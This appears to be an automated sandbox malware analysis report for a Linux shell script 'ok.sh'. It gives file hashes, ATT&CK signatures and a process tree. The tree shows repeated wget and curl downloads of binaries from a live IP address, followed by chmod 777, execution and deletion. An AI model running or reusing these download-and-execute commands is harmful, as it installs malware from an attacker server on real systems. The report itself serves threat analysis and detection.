831bff80c68a452ed86560f568cb655740ba0f4c9fcb5f34e86bdc7585a34cf1

Analysis

max time kernel
140s
max time network
142s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
10/08/2026, 08:12

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General

Target
ok.sh
Size 1KB
Sample260810-j321fadp7y
SHA256 831bff80c68a452ed86560f568cb655740ba0f4c9fcb5f34e86bdc7585a34cf1
MD5 b691a8625a13895d84a03e5327e21379
SHA1 ce23552fdc17cd9610a4819913f57e21d0270711
SHA512 bf88e48c341d1b8b6eb6aab0beff33b2693a174110bd322c06f43be31968b93a99e09ab570f0a532128a95213721a88403c5307d57ef7dbc1193ae6f037078c4
TLSH
T12F313E9A00105A715002DE9E76A73658B54EE1EB9D8FC7D4D9484EAE8288BCCF221B8D
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
671	chmod
732	chmod
751	chmod
794	chmod
853	chmod
678	chmod
685	chmod
708	chmod
758	chmod
769	chmod
809	chmod
816	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/0d5aa8	672	ok.sh
/tmp/b62738	679	ok.sh
/tmp/775af1	686	ok.sh
/tmp/f48b45	710	ok.sh
/tmp/c55677	734	ok.sh
/tmp/1eb5ef	752	ok.sh
/tmp/3ee62b	759	ok.sh
/tmp/ed422a	771	ok.sh
/tmp/12cd43	796	ok.sh
/tmp/e0758e	810	ok.sh
/tmp/dc7ecc	817	ok.sh
/tmp/a34888	854	ok.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/0d5aa8	curl
File opened for modification	/tmp/b62738	curl
File opened for modification	/tmp/775af1	curl
File opened for modification	/tmp/f48b45	curl
File opened for modification	/tmp/1eb5ef	curl
File opened for modification	/tmp/3ee62b	curl
File opened for modification	/tmp/e0758e	curl
File opened for modification	/tmp/dc7ecc	curl
File opened for modification	/tmp/c55677	curl
File opened for modification	/tmp/ed422a	curl
File opened for modification	/tmp/12cd43	curl
File opened for modification	/tmp/a34888	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:643
- /usr/bin/wget
  wget http://5.182.210.174/0d5aa8
  2⤵
  PID:649
- /usr/bin/curl
  curl -O http://5.182.210.174/0d5aa8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:665
- /bin/chmod
  chmod 777 0d5aa8
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/0d5aa8
  ./0d5aa8 bc
  2⤵
  PID:672
- /bin/rm
  rm -rf 0d5aa8
  2⤵
  PID:674
- /bin/rm
  rm -rf 0d5aa8.1
  2⤵
  PID:675
- /usr/bin/wget
  wget http://5.182.210.174/b62738
  2⤵
  PID:676
- /usr/bin/curl
  curl -O http://5.182.210.174/b62738
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:677
- /bin/chmod
  chmod 777 b62738
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/b62738
  ./b62738 bc
  2⤵
  PID:679
- /bin/rm
  rm -rf b62738
  2⤵
  PID:681
- /bin/rm
  rm -rf b62738.1
  2⤵
  PID:682
- /usr/bin/wget
  wget http://5.182.210.174/775af1
  2⤵
  PID:683
- /usr/bin/curl
  curl -O http://5.182.210.174/775af1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod 777 775af1
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/775af1
  ./775af1 bc
  2⤵
  PID:686
- /bin/rm
  rm -rf 775af1
  2⤵
  PID:688
- /bin/rm
  rm -rf 775af1.1
  2⤵
  PID:689
- /usr/bin/wget
  wget http://5.182.210.174/f48b45
  2⤵
  PID:690
- /usr/bin/curl
  curl -O http://5.182.210.174/f48b45
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:699
- /bin/chmod
  chmod 777 f48b45
  2⤵
  - File and Directory Permissions Modification
  PID:708
- /tmp/f48b45
  ./f48b45 bc
  2⤵
  PID:710
- /bin/rm
  rm -rf f48b45
  2⤵
  PID:712
- /bin/rm
  rm -rf f48b45.1
  2⤵
  PID:714
- /usr/bin/wget
  wget http://5.182.210.174/c55677
  2⤵
  PID:715
- /usr/bin/curl
  curl -O http://5.182.210.174/c55677
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:724
- /bin/chmod
  chmod 777 c55677
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/c55677
  ./c55677 bc
  2⤵
  PID:734
- /bin/rm
  rm -rf c55677
  2⤵
  PID:738
- /bin/rm
  rm -rf c55677.1
  2⤵
  PID:741
- /usr/bin/wget
  wget http://5.182.210.174/1eb5ef
  2⤵
  PID:742
- /usr/bin/curl
  curl -O http://5.182.210.174/1eb5ef
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 1eb5ef
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/1eb5ef
  ./1eb5ef bc
  2⤵
  PID:752
- /bin/rm
  rm -rf 1eb5ef
  2⤵
  PID:754
- /bin/rm
  rm -rf 1eb5ef.1
  2⤵
  PID:755
- /usr/bin/wget
  wget http://5.182.210.174/3ee62b
  2⤵
  PID:756
- /usr/bin/curl
  curl -O http://5.182.210.174/3ee62b
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:757
- /bin/chmod
  chmod 777 3ee62b
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/3ee62b
  ./3ee62b bc
  2⤵
  PID:759
- /bin/rm
  rm -rf 3ee62b
  2⤵
  PID:761
- /bin/rm
  rm -rf 3ee62b.1
  2⤵
  PID:762
- /usr/bin/wget
  wget http://5.182.210.174/ed422a
  2⤵
  PID:763
- /usr/bin/curl
  curl -O http://5.182.210.174/ed422a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:764
- /bin/chmod
  chmod 777 ed422a
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/ed422a
  ./ed422a bc
  2⤵
  PID:771
- /bin/rm
  rm -rf ed422a
  2⤵
  PID:774
- /bin/rm
  rm -rf ed422a.1
  2⤵
  PID:775
- /usr/bin/wget
  wget http://5.182.210.174/12cd43
  2⤵
  PID:777
- /usr/bin/curl
  curl -O http://5.182.210.174/12cd43
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/chmod
  chmod 777 12cd43
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/12cd43
  ./12cd43 bc
  2⤵
  PID:796
- /bin/rm
  rm -rf 12cd43
  2⤵
  PID:799
- /bin/rm
  rm -rf 12cd43.1
  2⤵
  PID:800
- /usr/bin/wget
  wget http://5.182.210.174/e0758e
  2⤵
  PID:802
- /usr/bin/curl
  curl -O http://5.182.210.174/e0758e
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/chmod
  chmod 777 e0758e
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/e0758e
  ./e0758e bc
  2⤵
  PID:810
- /bin/rm
  rm -rf e0758e
  2⤵
  PID:812
- /bin/rm
  rm -rf e0758e.1
  2⤵
  PID:813
- /usr/bin/wget
  wget http://5.182.210.174/dc7ecc
  2⤵
  PID:814
- /usr/bin/curl
  curl -O http://5.182.210.174/dc7ecc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/chmod
  chmod 777 dc7ecc
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/dc7ecc
  ./dc7ecc bc
  2⤵
  PID:817
- /bin/rm
  rm -rf dc7ecc
  2⤵
  PID:819
- /bin/rm
  rm -rf dc7ecc.1
  2⤵
  PID:820
- /usr/bin/wget
  wget http://5.182.210.174/a34888
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://5.182.210.174/a34888
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:852
- /bin/chmod
  chmod 777 a34888
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/a34888
  ./a34888 bc
  2⤵
  PID:854
- /bin/rm
  rm -rf a34888
  2⤵
  PID:856
- /bin/rm
  rm -rf a34888.1
  2⤵
  PID:857

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

0d5aa8

Path /tmp/0d5aa8
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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